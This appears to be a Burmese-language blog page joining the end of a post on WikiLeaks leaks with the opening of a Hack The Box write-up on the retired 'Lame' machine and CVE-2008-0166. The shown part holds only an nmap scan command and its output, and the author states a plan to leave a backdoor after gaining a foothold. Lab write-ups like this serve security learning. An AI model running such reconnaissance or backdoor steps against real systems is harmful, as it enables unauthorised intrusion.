<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-35a7adff85a868ed37f9e494d818f78c37bcfd86%2Fwikileaks-rtr2gqx5-584.jpg?alt=media" alt=""><figcaption></figcaption></figure>

သမိုင်းမှာ သံတမန်ရေးရာဘက်မှာ အမေရိကန်အစိုးရအတွက် အထိခိုက်ဆုံး leak တစ်ခုလည်းဖြစ်ပါတယ်။ ကမ္ဘာအလည်မှာ မျက်နှာတော်တော်လေး နာခဲ့ရပါတယ်။ သို့သော်လည်း အမေရိကန်စစ်တပ်နဲ့ အစိုးရရဲ့ မတရားမှု အကုန်လုံးကြချပြနိုင်ခဲ့လို့ အကျိုးများခဲ့တာလည်း တဘက်မှာရှိပါတယ်။ တချိန်တည်းမှာ WikiLeaks နဲ့ Anonymous ဟာပြည်သူ့ဘက်တော်သား တဖန်ဖြစ်ခဲ့ရပြန်ပါတယ်။ Cyber/Internet သမိုင်းမှာလည်း မှတ်တိုင်တစ်ခုစိုက်ထူနိုင်ခဲ့တယ်လို့ စာရေးသူမြင်ပါတယ်။

## သံတမန်ရေးရာ အဆက်အသွယ်များ ထုတ်ပြန်ချက် (Diplomatic Cables Release)

ကမ္ဘာ့သံတမန်ရေးရာဆိုတာ အလွန်ရှုပ်ထွေးပွေလီတဲ့ သဘောရှိပါတယ်။ အထူးသဖြင့် စစ်ရေးအရပဲ ဖြစ်ဖြစ်၊ နယ်နိမိတ်နဲ့ပတ်သတ်လို့ပဲဖြစ်ဖြစ်၊ ပထမကမ္ဘာစစ် ဒုတိယကမ္ဘာစစ် တွင်းချုပ်ဆိုထားတဲ့ စာချုပ်အရပဲ ဖြစ်ဖြစ် ပတ်သက်ဆက်နွယ် ရတဲ့နိုင်ငံတွေအများကြီးရှိကြပါတယ်။ အချင်းအရာတစ်ခုကို သဘောတူသင့်သလောက်တူကြသလို၊ သဘောထားမတိုက်ဆိုင်တဲ့ အရာတွေလည်း အများရှိနိုင်ပါတယ်။ အမေရိကန်နိုင်ငံလို မဟာမိတ်များတဲ့ အင်အားကြီးနိုင်ငံမျိုးမှာဆိုရင် ပိုတောင်များပါသေးတယ်။ သံတမန်ရေးရာနဲ့ ပတ်သတ်တဲ့ ဆက်သွယ်ထားတဲ့ စာတွေ အီးမေးတွေဆိုတာလည်း တစ်နေ့ တစ်နေ့ မနည်းပါဘူး။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-e408c5d52249dfa6006df3bf7e8a4ebc76740c91%2FDiplomatic-Cables2.jpg?alt=media" alt=""><figcaption></figcaption></figure>

WikiLeaks က နိုဝင်ဘာလ ၂၈ရက်နေ့ ၂၀၁၀ ခုနှစ်မှာ တခြား သတင်းမီဒီယာကြီး ၅ခုနဲ့အတူ သံတမန်တွေဆက်သွယ်ထားတဲ့ စာပေါင်း ၂၂၀ ကို ပထမ တစ်သုတ်အနေနဲ့ WikiLeaks ပေါ်ကိုတင်လိုက်ပါတယ်။ စုစုပေါင်း ၂၅၁၂၈၇ ရှိသော လျှို့ဝှက်စာတွေကို နည်းနည်းခြင်းစီတင်သွားမယ်လို့လည်း ဆိုပါတယ်။ ရက်အားဖြင့် ဒီဇင်ဘာလ ၂၈ရက်နေ့ ၁၉၆၆ ခုနှစ်ကနေ ဖေဖဝါရီလ ၂၈ရက်နေ့ ၂၀၁၀ ခုနှစ်ထိ သံတမန်တွေဆက်သွယ်ထားတဲ့ စာတွေလို့လည်းဆိုပါတယ်။ အမေရိကန် သံရုံးရှိတဲ့နိုင်ငံတွေရဲ့ ကောင်းတဲ့အကြောင်းတွေရော မကောင်းတဲ့ အတင်းအဖျင်းတွေကို အဲ့ဒီစာတွေမှာတွေ့နိုင်ပါတယ်။ များသောအားဖြင့် စစ်ရေးအရ ထိန်းချုပ်ထားတဲ့ နေရာတွေမှာ ဘယ်လိုနှပ်ထားကြောင်း ဘယ်လိုဖိထားလို့ရကြောင်း ဘယ်လိုကိုင်တိုင်လိုက်လို့ အဆင်ပြေသွားကြောင်းတွေပါတာကြောင့် သံအမတ်တွေမျက်နှာပူစရာ ဖြစ်လာပါတော့တယ်။ တရားစီရင်ရေးကလိုက်တဲ့အခါမှာတော့ WikiLeaks ဟာ အဲ့ဒီစာတွေကို encrypted လုပ်ထားတဲ့ file တွေအဖြစ်နဲ့ အဲ့ဒီ file တွေကိုဘယ်မှာရှာလို့ရသလဲဆိုတာကို သိတဲ့သူတွေသာ ရနိုင်အောင် စီစဉ်ရပါတော့တယ်။ နောက်ပိုင်းကျမှ လူတိုင်းအလွယ်တကူရှာဖတ်လို့ရအောင်လို့ WikiLeaks ပေါ်မှာတင်ပါတယ်။ မြန်မာနိုင်ငံနဲ့ ပတ်သတ်တဲ့ နိုင်ငံရေး အကျဉ်းသားတွေအကြောင်းကိုလည်း ထိုသံတမန်ရေးတာ ဆက်သွယ်တဲ့စာတွေမှာ တွေနိုင်မှာဖြစ်ပါတယ်။ စိတ်ဝင်စားရင် WikiLeaks မှာရှာဖတ်ကြည့်နိုင်ပါတယ်။

## ဟေလာရီ ကလင်တန် ရဲ့ ကိုယ်ပိုင် အီးမေးဆာဗာ (Hillary Clinton’s Personal Email Server)

၂၀၁၆ ခုနှစ် နှစ်လယ်လောက်ကနေစပြီး သမ္မတရွေးကောက်ပွဲမှာ Hillary Clinton နဲ့ Donal Trump တို့ အကြိတ်အနယ် သမ္မတဖြစ်လာဖို့ကို ပြိုင်ဆိုင်နေကြပါတယ်။ အဲ့ဒီ အချိန်မှာတော့ မထင်မှတ်ထားတဲ့ leak တစ်ခုကို WikiLeaks ကလည်း အချိန်ကိုက်ဆိုသလို တင်ပါတော့တယ်။ ဖြစ်ပုံက ဇူလိုင်လ ၄ရက်နေ့ ၂၀၁၆ခုနှစ်မှာ Hillary Clinton ရဲ့ ကိုယ်ပိုင် Mail Server ကနေ ပို့ထားတဲ့ လက်ခံရရှိထားတဲ့ email တွေကို WikiLeaks ကစပြီးတော့ တင်ပါတော့တယ်။ ကိုယ်ပိုင် Mail Server ဆိုပေမယ့်လည်း Hillary Clinton နေတဲ့အိမ် မြေအောက်ခန်းမှာတင် ထားတဲ့ Mail Server ဖြစ်တဲ့အတွက် လုံခြုံရေးပိုင်းမှာတော့ အိမ်သုံး ကွန်ပြူတာတစ်လုံး အဆင့်လောက်သာ ရှိမည်လို့ စာရေးသူခန့်မှန်းကြည့်မိပါတယ်။ အဲ့ဒါကြောင့်လည်း အဲ့ဒီ Mail Server ကို hack ပြီးတော့ စက်ပေါ်က စာတွေအကုန်လုံးနီးပါး hack ခံရပါတော့တယ်။ သတင်းထွက်ထွက်ခြင်း FBI နဲ့ CIA ကလည်း Hillary Clinton ကို ခေါ်ယူစစ်ဆေးရပါတော့တယ်။ သူကိုယ်တိုင်လည်း အဲ့လိုဖြစ်မယ်မထင်လို့ သုံးခဲ့တာဖြစ်ကြောင်းလည်း ဝန်ခံခဲ့ပါတယ်။ ပိုဆိုးတာက ပို့ထားတဲ့ လက်ခံထားတဲ့ စာတွေထဲမှာ အလုပ်နဲ့ ပတ်သတ်တဲ့ classified information တွေပါတဲ့ စာတွေကိုပါတွေရှိရတာဖြစ်ပါတယ်။ အတိုက်အခံပါတီဘက်က Donald Trump တို့ကလည်း Hillary Clinton ကိုတရားစွဲဖို့ ထောင်ချဖို့ထိတိုင်အောင် တွန်းအားပေးတဲ့အထိလုပ်လာပါတော့တယ်။ ရွေးကောက်ပွဲ အောင်နိုင်ရေးအတွက် အဲ့ဒီ Mail Server နဲ့ပတ်သတ်တဲ့ စွပ်စွဲချက်တွေနဲ့ Donald Trump ကတိုက်ခိုက်ပါတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-271866e674169c814868b9798cc81f5087cc519e%2Fgettyimages-493803536.jpg?alt=media" alt=""><figcaption></figcaption></figure>

Hillary Clinton ဘက်ကလည်းမှားခဲ့ကြောင်းဝန်ခံပါတယ်။ အားလုံးဟာ Hillary Clinton အတွက်နောက်ကျခဲ့ပါပြီ။ Mail Server ကို ဖျက်စီးခဲ့လိုက်ပြီဖြစ်သော်လည်း မပြေးသော်လည်း ကန်ရာကရှိနေပြီလေ။ WikiLeaks က ရရှိထားတဲ email တွေ နည်းနည်းခြင်းစီတင်ပြီးတော့ လူတွေကိုချပြပါတယ်။ နောက်ဆုံးတော့ အဲ့ဒီရိုက်ခတ်မှုက Donal Trump လိုလူ သမ္မတ ဖြစ်လာတဲ့ အထိဖြစ်လာဖို့ အကြောင်းပါလာပါတော့တယ်။ မဲပေးစနစ်အားနည်းတာ တစ်ကြောင်း WikiLeaks က တင်တဲ့ leak နှစ်ခုပေါင်းပြီးတော့ အမေရိကန်နိုင်ငံရေး အလှည့်အပြောင်းတစ်ခုဖြစ်ခဲ့ရပြန်ပါတယ်။ ရွေးကောက်ပွဲ တစ်လျှောက် Hillary Clinton တို့ဘက်က WikiLeaks ကို အပြင်းအထန်ဝေဖန်ခဲ့ပါတယ်။ Russian နဲ့ပေါင်းပြီးတော့ Donald Trump မဲနိုင်အောင်လုပ်ပေးနေတာနဲ့ တူတယ်လို့လည်း စွပ်စွဲပြောဆိုမှုတွေရှိခဲ့ပါတယ်။ စာရေးသူအမြင်ကတော့ WikiLeaks ဘက်က Donald Trump အနိုင်ရအောင်ကူညီပေးတယ်လို့တော့ မထင်ပါဘူး။ အဆိုးဆုံး အနေနဲ့ ပွဲလန့်တုန်း ဖျားခင်တယ် လို့တာထင်မိပါတယ်။ လူစိတ်ဝင်စားအောင်လို့ အချိန်ကိုက် leak လုပ်တယ်လို့တော့ ထင်ကြေးပေးမိပါတယ်။ ဘယ်လိုပဲ ဖြစ်ဖြစ် WikiLeaks ဟာလက်တန်ရှည်တဲ့ အဖွဲ့အစည်းလို့တော့ ထင်မိပါတယ်။ ကမ္ဘာပေါ်မှာလူတွေများများ တော်တော်လေး လွှမ်းမိုးနိုင်ခဲ့ပါတယ်… လွှမ်းမိုးနိုင်တုန်းလည်းဖြစ်ပါတယ်။

တင်ပြခဲ့တဲ့ leak အကြောင်းတွေဟာ စိတ်ဝင်စားဖို့ကောင်းသလို စာရေးသူတို့ Information Age ထဲမှာနေထိုင်တဲ့ လူသားတွေအတွက်တော့ information ဟာ နေ့စဉ် လှုပ်ရှားရှင်သန်နေတဲ့ ဘဝတွေအတွက်တော့ သက်ရောက်မှုကောင်းကောင်းရှိတယ်လို့ စာရေးသူထင်မိပါတယ်။ Information ဆိုတာဟာ အချိန်နဲ့ နေရာပေါ်မှာမူတည်ပြီးတော့ သက်ရောက်မှုအနည်းအများတော့ ရှိပါတယ်။ ဆတိုး အရှိန်နဲ့ တိုးတက် ပြောင်းလဲလာတဲ့ နည်းပညာဆိုင်ရာ အသိပညာ အတက်ပညာတိုင်း ကို ဒီဘက်ခေတ်လူငယ်တွေက ဆရာကြီး မြို့မငြိမ်း ရဲ့ လူချွန်လူကောင်းသီချင်းထဲကလို ခေတ်မီမီ ကမ္ဘာကြီးကြည့်မြင် နိုင်ဖို့လိုအပ်ပါတယ်။ ဒီစာဖတ်သူတွေလည်း ခေတ်နဲ့ အညီ ခေတ်မီမီ ကမ္ဘာကြီးကြည့်လို့မြင်နိုင်ကြပါစေ။


# ခုတ်မယ် ထစ်မယ် ပါးပါးလှီးမယ် OpenSSL

## စတင်ခြင်း

နည်းပညာပိုင်းဆိုင်ရာ လေ့လာတာပဲဖြစ်ဖြစ်၊ အလုပ်ခွင်ထဲမှာ အလုပ်လုပ်ရင်း system တွေ၊ router/firewall တွေကို setup up လုပ်တဲ့အခါပဲဖြစ်ဖြစ် စာရေးသူအတွက် အတွေးတခုအမြဲရှိတတ်ပါတယ်။ ကိုယ်စိတ်ကြိုက် configure လုပ်ပြီးတာနဲ့ လုံခြုံရေးအတွက်တကယ်ကို လုံလောက်ရဲ့လား၊ ကိုယ်မသိလိုက်ပဲနဲ့ အပြင်ကနေဝင်လို့ရတဲ့ ဝင်ပေါက်များရှိနေနိုင်လားဆိုပြီး အခါတိုင်းလိုလို စိတ်ပူတတ်ပါလေရဲ့။ ဒီလိုပဲ... ကိုယ့်ရဲ့ login တွေကို ဖန်တီးတဲ့အခါမှာ အရမ်းကိုရှုပ်ထွေးတဲ့ password တွေကို သေချာရွေးပြီး password manager တွေကို အသေအချာအသုံးပြုတတ်တဲ့ အလေ့အကျင့်တခုကို အရင်ကတည်း ရထားပါတယ်။ သိသလောက်တော့... နည်းပညာသမားတိုင်းမှာ အဲ့လိုမျိုးအလေ့အထ အယောက်တိုင်းရှိပုံမပေါ်ပါဘူး။ ဒါကြောင့်လည်း brown field environment တွေမှာ အလုပ်လုပ်ရတဲ့အခါ weak password တွေ၊ မလိုအပ်ပါပဲနဲ့ port forwarding လုပ်ထားတဲ့ setup တွေအများကြီးတွေ့ဖူးတယ်။ ဒါဟာ အလုပ်ခွင်ထဲမှာ အလုပ်လုပ်ရင်းတွေရတာတွေဖြစ်တဲ့အတွက်၊ အဲ့ဒီ router တွေ၊ firewall တွေ၊ system တွေက enterprise မှာသုံးဖို့အတွက် setup လုပ်ထားတာတွေကို ကြုံတွေ့ရတာပါ။ တခါတလေ... အဲ့လို setup လုပ်ပြီးတော့ထားခဲ့တဲ့ sysadmin တွေ၊ network admin တွေ အလုပ်ခွင်ထဲမှာဘယ်လိုများ လုပ်ကိုင်စားသောက်နေကြပါသလဲလို့တောင်တွေးမိတတ်ပါတယ်။ စာရေးသူ ကိုယ်တိုင်လည်း လုပ်ငန်းခွင်စဝင်ကာစမှာတော့ အဲ့လိုမျိုး setup တွေလုပ်ခဲ့ဖူးတာတော့ မငြင်းနိုင်ပေမယ့်၊ နေ့တိုင်းအလုပ်ခွင်မှာရော၊ အိမ်မှာပါ လေ့လာလေ့ကျင့်တာများလာပြီး တနေ့ထက်တနေ့ ပိုကောင်းလာအောင်၊ ပိုသိလာအောင်၊ ပိုအလုပ်ဖြစ်လာအောင် ပြောင်းလဲယူလာရပါတယ်။ အလုပ်တစ်ခုကို သေသေချာချာလုပ်ချင်တဲ့ လူတိုင်းလည်း အဲ့လိုပဲဖြစ်ကြမယ်ထင်ပါတယ်။

နောက်ပိုင်းမှာတော့ စာရေးသူကိုယ်တိုင်က အိမ်မှာပဲဖြစ်ဖြစ်၊ အလုပ်မှာပဲဖြစ်ဖြစ် system တွေကို setup လုပ်တဲ့အခါတိုင်း အမြဲတမ်း လုံခြုံရေးအသိတခုအမြဲကပ်တဲ့အကျင့်ဘယ်ကနေ ရမှန်းမသိရလာပါတော့တယ်။ ဖြစ်နိုင်တာတခါက လုပ်ငန်းခွင်အတွေ့အကြုံတွေများလာတာနဲ့အမျှ အခြားကိုယ့်ရဲ့ senior engineer တွေဘယ်လိုမျိုးလုပ်သလဲ၊ ဒါ့အပြင် သူတို့ဘယ်လိုမျိုးတွေးသလဲ ဆိုတဲ့အဆင့်ထိကို သတိထားပြီးတော့ လေ့လာတတ်တဲ့အတွက် အတတ်ပညာပါမက၊ အသိပညာပါ ပိုမိုလေ့လာခွင့်ရခဲ့တာတော့ အမှန်ပါ။ ကိုယ့်လုပ်ငန်းခွင်အတွက် အလုပ်ဖြစ်ရုံသာ ပညာရပ်တခုကိုတတ်မြောက်အောင် လေ့လာမယ်ဆိုရင်တော့ နည်းပညာသမားတစ်ယောက်အတွက် ဘောင်အရမ်းကိုကျဉ်းလွန်းပါတယ်။ ဥပမာ - ကိုယ်က network engineer မို့လို့ networking နဲ့ပတ်သတ်တဲ့ အကြောင်းအရာတွေပဲ လေ့လာမယ်၊ သိမယ် ဆိုရင်လည်း အလုပ်ဖြစ်ပါတယ်။ သို့သော်... နောက်တဆင့်ဆက်တက်ဖို့ပဲဖြစ်ဖြစ်၊ တမူထူးခြားအောင် အမျိုးမျိုးကောင်းမွန်အောင် တီထွင်ဆန်းသစ်ဖို့ပဲဖြစ်ဖြစ် စာရေးသူတို့ နည်းပညာသမားတွေအတွက်က အများကြီး သိဖို့လိုပါတယ်။ လေ့လာမူအပိုင်းမှာလည်း ရပ်ပစ်လို့မရတဲ့အတွက် နေ့စဉ်ဆိုသလို အသစ်အသစ်တွေကို ဖတ်မှတ်သင်ယူကြရပါတယ်။ နည်းပညာသမား တစ်ယောက်အနေနဲ့ လေ့လာမူကိုရပ်လိုက်တာနဲ့ old guard လို့ခေါ်တဲ့ ရှေရိုးစွဲသမားတစ်ယောက် ဖြစ်လာပါတော့တယ်။ ပြဿနာ အဲ့မှာစတော့တာပါပဲ။ DevOps တို့၊ Agile တို့၊ Lean တို့လိုမျိုး နည်းပညာအပိုင်းက cultural movement သမားတွေနဲ့ ထိပ်တိုက်တွေ့တဲ့အခါ တော်တော်လေးကို လုပ်ရကိုင်ရ ခက်လာနိုင်တာလည်း သဘာဝပါ။ နောက်ဆုံးတော့... စာရေးသူ တွေးမိတာတခုက team တစ်ခုလုံးရဲ့ mindset ကို စပြီးတော့ပြောင်းလဲပစ်ဖို့က အရင်ဆုံးမလုပ်မဖြစ်လုပ်ရမယ့် လုပ်ငန်းတခုပါ။ Agile methodology တွေ၊ Lean workflow တွေ တခုတည်းနဲ့တော့ သိပ်ပြီးတော့အလုပ်မဖြစ်နိုင်ပါဘူး။ စာရေးသူအတွက်တော့... ရိုးရာ Level 1 Help Desk Support Tech ကနေ Sysadmin/Network Admin၊ အဲ့ကနေမှ System Engineer (MSP/DataCentre/Enterprise)၊ နောက်တခါ Network Engineer (ISP/WAN/Home Broadband)၊ ပြီးတော့ လူကငပျင်းမို့လို့ အခုတခါ Automation Engineer (IaC/System/Network) အဆင့်ဆင့် ဘဝကူးပြောင်းခဲ့ရပါတော့တယ်။ အခုထိလည်းဆက်ပြီးတော့ လေ့လာသင်ယူရတဲ့ လုပ်ငန်းစဉ်လည်း မရပ်တန့်နိုင်သေးတာတော့ အမှန်ပါ။

အခုတခါလည်း စာရေးသူအတွက် အလိုအလျှောက်ဖြစ်လာတဲ့ လေ့လာသင်ယူဖို့စိတ်ကူး အသစ်တခုအနေနဲ့ Offensive Security ကို မျက်စိကျနေမိပြန်ပါတယ်။ အဲ့ဒီစိတ်ကူးရဲ့ နောက်ကွယ်မှာတော့ အချက် ၃ချက်ကိုအခြေခံပြီး လေ့လာချင်စိတ်စတင်ဖြစ်လာတယ်လို့ မြင်မိပါတယ်။

* အခုနောက်ပိုင်း နိုင်ငံတကာသတင်းတွေမှာ cybersecurity နဲ့ပတ်သတ်ပြီးတော့ hack ခံရတဲ့သတင်းတွေ၊ data breach ဖြစ်တဲ့သတင်းတွေနဲ့ modern warfare မှာ cyber warfare ဟာမရှိမဖြစ်နေရာရလာတဲ့ သတင်းတွေနဲ့ နေ့တိုင်း တွေ့ရဖတ်ရတာများလာပါတယ်။ အရင်တုန်းက data breach တွေမဖြစ်ဘူးလို့ မဆိုလိုပါ။ အခုလောလောဆယ်မှာ မကြာခဏဆိုသလို သတင်းတွေတွေ့ရတာပါ။ နည်းပညာသမားတစ်ယောက် အနေနဲ့ အဲ့ဒီသတင်းတွေကို စိတ်ဝင်စားမိတာတော့အမှန်ပါ။
* Podcast တွေကိုနားထောင်တတ်လာတာ အချိန်အားဖြင့် ၃နှစ်ကျော်ကျော် ၄နှစ်လောက်ရှိတော့မယ်ထင်ပါတယ်။ စာရေးသူ အနေနဲ့ ရထားစီးတဲ့အချိန်၊ အိမ်မှာ အိမ်အလုပ်တွေလုပ်နေရတဲ့အချိန်နဲ့ လေ့ကျင့်ခန်းလုပ်တဲ့အချိန်တွေမှာ နည်းပညာဆိုင်ရာ podcast တွေကို အမြဲနားထောင်ဖြစ်ပါတယ်။ နယ်ပယ်မျိုးစုံက အကြောင်းအရာတွေကိုလည်း အသိမိတ်ဆွေတွေ အကြံပေးတဲ့အခါတိုင်းလည်း လိုက်နားထောင်ဖြစ်ပါတယ်။ အဲ့ဒီထဲမှာ Darknet Diaries ဆိုတဲ့ podcast တခုလည်းပါလာပါတော့တယ်။ Cybersecurity လို့ပြောတာနဲ့ Darknet Diaries ကိုမသိတဲ့လူမရှိသလောက်ပါပဲ။ စာရေးသူက story တွေကိုနားထောင်ရတာကြိုက်ပါတယ်။ Darknet Diaries ကတော့ technical အရမ်းမဖြစ်ပါဘူး။ သို့သော်... cybersecurity ထဲက story တွေအများကြီးကို စိတ်ဝင်စားအောင် တင်ပြတတ်လို့ တော်တော်လေးကို သဘောကျမိပါတယ်။ ကြိုက်လွန်းလို့ ပြန်နားတောင်ရတဲ့ episode တွေတော်တော်များပါတယ်။ များသောအားဖြင့် Offensive Security (OffSec) နဲ့ Pen Testing လိုမျိုး topic တွေကို သဘောကျပါတယ်။ အဲ့ဒီ story တွေထဲက characters တွေဘယ်လိုမျိုး technique တွေသုံးသလဲ၊ ဘယ်လိုမျိုးတွေးသလဲ ဆိုတာမျိုးကို စာရေးသူ အမြဲသိချင်စိတ်ဖြစ်ခဲ့မိပါတယ်။
* နောက်တခုက ကိုယ်တိုင်နည်းပညာသမားဖြစ်တဲ့အတွက်၊ system တွေကို setup လုပ်တဲအခါတိုင်း လုံခြုံရေးအတွက်အမြဲထည့်သွင်းစဉ်းစားရပါတယ်။ System တခုအတွက် အကောင်းဆုံး defence ကိုသိချင်ရင်၊ attacker တစ်ယောက်အနေနဲ့ အခြားတဘက်က မြင်ကြည့်တတ်ဖို့ရ အရေးကြီးပါတယ်။ OffSec ဟာ attacker တယောက်လိုမြင်တတ်အောင် သင်ပေးတဲ့ ဘာသာရပ်တခုလို့ စာရေးသူမြင်ပါတယ်။ အဲ့ဒီအတွက် စာရေးသူ OffSec ကိုမျက်စိကျမိပါတယ်။

## အဘယ့်ကြောင့် OpenSSL

Linux Sysadmin တစ်ယောက်အနေနဲ့ နေ့စဉ်အသုံးပြုရတဲ့ protocol တစ်ခုဟာ SSH ဖြစ်ပါတယ်။ SSH session တစ်ခုကို password နဲ့ authenticate လုပ်လို့ရတဲ့အပြင်၊ private/public keys pair နဲ့လည်း authenticate လုပ်လို့ရပါတယ်။ Cryptography အရ key authentication ကို password authentication ထက်ပိုပြီးတော့ strong ဖြစ်တယ်လို့ ယူဆရမှာပါ။ ကျယ်ကျယ်ပြန့်ပြန့် အသုံးပြုတဲ့ protocol မို့ဘယ်တုန်းကမှ သံသယမဖြစ်ဘူးပါဘူး။ သို့သော်... CVE-2008-0166 security vulnerability ကို ကိုယ်တိုင် ကိုယ်ကျ exploit လုပ်ကြည့်တော့မှ ကြက်သီးကြီးကြီးထမိပါတော့တယ်။ ဒီ article မှာလည်း အဲ့ဒီ CVE ကိုအခြေခံပြီးတော့ exploit လုပ်ပုံကို ဆွေးနွေးပြချင်ပါတယ်။

ပထမဆုံးအနေနဲ့ CVE ဆိုတာကို အကျဉ်းချုပ်ရှင်းပြလိုပါတယ်။ သူ့ရဲ့အရှည်က Common Vulnerabilities and Exposures ဖြစ်ပါတယ်။ Cybersecurity community ထဲက security researcher တွေဟာသူတို့ရှာတွေ့ထားတဲ့ vulnerabilities ကို လူတိုင်းသိအောင်၊ လေ့လာလို့ရအောင်လို့ publish လုပ်ပါတယ်။ ဥပမာ - CVE-2008-0166 ဆိုတဲ့ဟာမှာ 2008 ကခုနှစ်ဖြစ်ပြီးတော့၊ 0166 က အဲ့ဒီခုနှစ်အတွက် ရှာတွေ့တဲ့အမှတ်စဉ်ဖြစ်ပါတယ်။ System တွေကို patch လုပ်တဲ့အခါမှာလည်း ဘယ် patch ကတော့၊ ဘယ် CVE အတွက်ဆိုပြီးတော့ reference လုပ်တာတွေ့ဖူး မြင်ဖူးမယ်လို့ထင်ပါတယ်။ ဒါဆိုရင်တော့ရှင်းမယ်ထင်ပါတယ်။ CVE-2008-0166 အကြောင်းကို အသေးစိတ်လေ့လာချင်ရင်တော့ အောက်ကလင့်တွေကနေ တဆင့်သွားလောက်ဖတ်ရှုလို့ရပါတယ်။

* [CVE - CVE-2008-0166](https://www.cve.org/CVERecord?id=CVE-2008-0166)
* [NVD - CVE-2008-0166](https://nvd.nist.gov/vuln/detail/cve-2008-0166)
* [GitHub - Debian SSH](https://github.com/g0tmi1k/debian-ssh)

## ခုတ်ထစ်ခြင်းအနုပညာ

ဒီ CVE-2008-0166 ကို exploit လုပ်ဖို့အတွက်က တိုက်ရိုက်မဖြစ်နိုင်သော်လည်း system တစ်ခုထဲကို foothold ရပြီဆိုတာနဲ့ backdoor ထားခဲ့နိုင်အနေအထားတခုကို လက်တွေ့ပြချင်ပါတယ်။ အောက်မှာတော့ စာရေးသူ သုံးမယ့် target detail ကိုဖော်ပြပေးထားပါတယ်။

* **Platform**: Hack The Box (HTB)
* **Machine Name**: Lame
* **Machine Status**: Retired
* **Machine IP**: 10.10.10.3
* **OS**: Linux
* **Level**: Easy

### ရှေ့ပြေးကင်းထောက် (Reconnaissance - Recon)

အရင်ဆုံးအနေနဲ့ nmap ဆိုတဲ့ tool ကိုအသုံးပြုပြီးတော့ target အကြောင်းအနည်းငယ် လေ့လာကြည့်ရအောင်ဗျ။

```bash
nmap -vvv -Pn -sCV -p0-65535 --reason -oN lame.nmap 10.10.10.3
Nmap scan report for 10.10.10.3
Host is up, received user-set (0.23s latency).
Scanned at 2023-11-01 07:02:56 EDT for 405s
Not shown: 65531 filtered tcp ports (no-response)
PORT     STATE SERVICE     REASON         VERSION
21/tcp   open  ftp         syn-ack ttl 63 vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 10.10.16.2
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp   open  ssh         syn-ack ttl 63 OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey: 
|   1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
| ssh-dss AAAAB3NzaC1kc3MAAACBALz4hsc8a2Srq4nlW960qV8xwBG0JC+jI7fWxm5METIJH4tKr/xUTwsTYEYnaZLzcOiy21D3ZvOwYb6AA3765zdgCd2Tgand7F0YD5UtXG7b7fbz99chReivL0SIWEG/E96Ai+pqYMP2WD5KaOJwSIXSUajnU5oWmY5x85sBw+XDAAAAFQDFkMpmdFQTF+oRqaoSNVU7Z+hjSwAAAIBCQxNKzi1TyP+QJIFa3M0oLqCVWI0We/ARtXrzpBOJ/dt0hTJXCeYisKqcdwdtyIn8OUCOyrIjqNuA2QW217oQ6wXpbFh+5AQm8Hl3b6C6o8lX3Ptw+Y4dp0lzfWHwZ/jzHwtuaDQaok7u1f971lEazeJLqfiWrAzoklqSWyDQJAAAAIA1lAD3xWYkeIeHv/R3P9i+XaoI7imFkMuYXCDTq843YU6Td+0mWpllCqAWUV/CQamGgQLtYy5S0ueoks01MoKdOMMhKVwqdr08nvCBdNKjIEd3gH6oBk/YRnjzxlEAYBsvCmM4a0jmhz0oNiRWlc/F+bkUeFKrBx/D2fdfZmhrGg==
|   2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
|_ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAstqnuFMBOZvO3WTEjP4TUdjgWkIVNdTq6kboEDjteOfc65TlI7sRvQBwqAhQjeeyyIk8T55gMDkOD0akSlSXvLDcmcdYfxeIF0ZSuT+nkRhij7XSSA/Oc5QSk3sJ/SInfb78e3anbRHpmkJcVgETJ5WhKObUNf1AKZW++4Xlc63M4KI5cjvMMIPEVOyR3AKmI78Fo3HJjYucg87JjLeC66I7+dlEYX6zT8i1XYwa/L1vZ3qSJISGVu8kRPikMv/cNSvki4j+qDYyZ2E5497W87+Ed46/8P42LNGoOV8OcX/ro6pAcbEPUdUEfkJrqi2YXbhvwIJ0gFMb6wfe5cnQew==
139/tcp  open  netbios-ssn syn-ack ttl 63 Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  @þ¯NV      syn-ack ttl 63 Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
3632/tcp open  distccd     syn-ack ttl 63 distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_smb2-time: Protocol negotiation failed (SMB2)
|_smb2-security-mode: Couldn't establish a SMBv2 connection.
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 59488/tcp): CLEAN (Timeout)
|   Check 2 (port 36056/tcp): CLEAN (Timeout)
|   Check 3 (port 40169/udp): CLEAN (Timeout)
|   Check 4 (port 26132/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
| smb-security-mode: 
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_clock-skew: mean: 1h59m45s, deviation: 2h49m43s, median: -15s
| smb-os-discovery: 
|   OS: Unix (Samba 3.0.20-Debian)
|   Computer name: lame
|   NetBIOS computer name: 
|   Domain name: hackthebox.gr
|   FQDN: lame.hackthebox.gr
|_  System time: 2023-11-01T07:08:44-04:00

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Nov  1 07:09:41 2023 -- 1 IP address (1 host up) scanned in 405.22 seconds
```

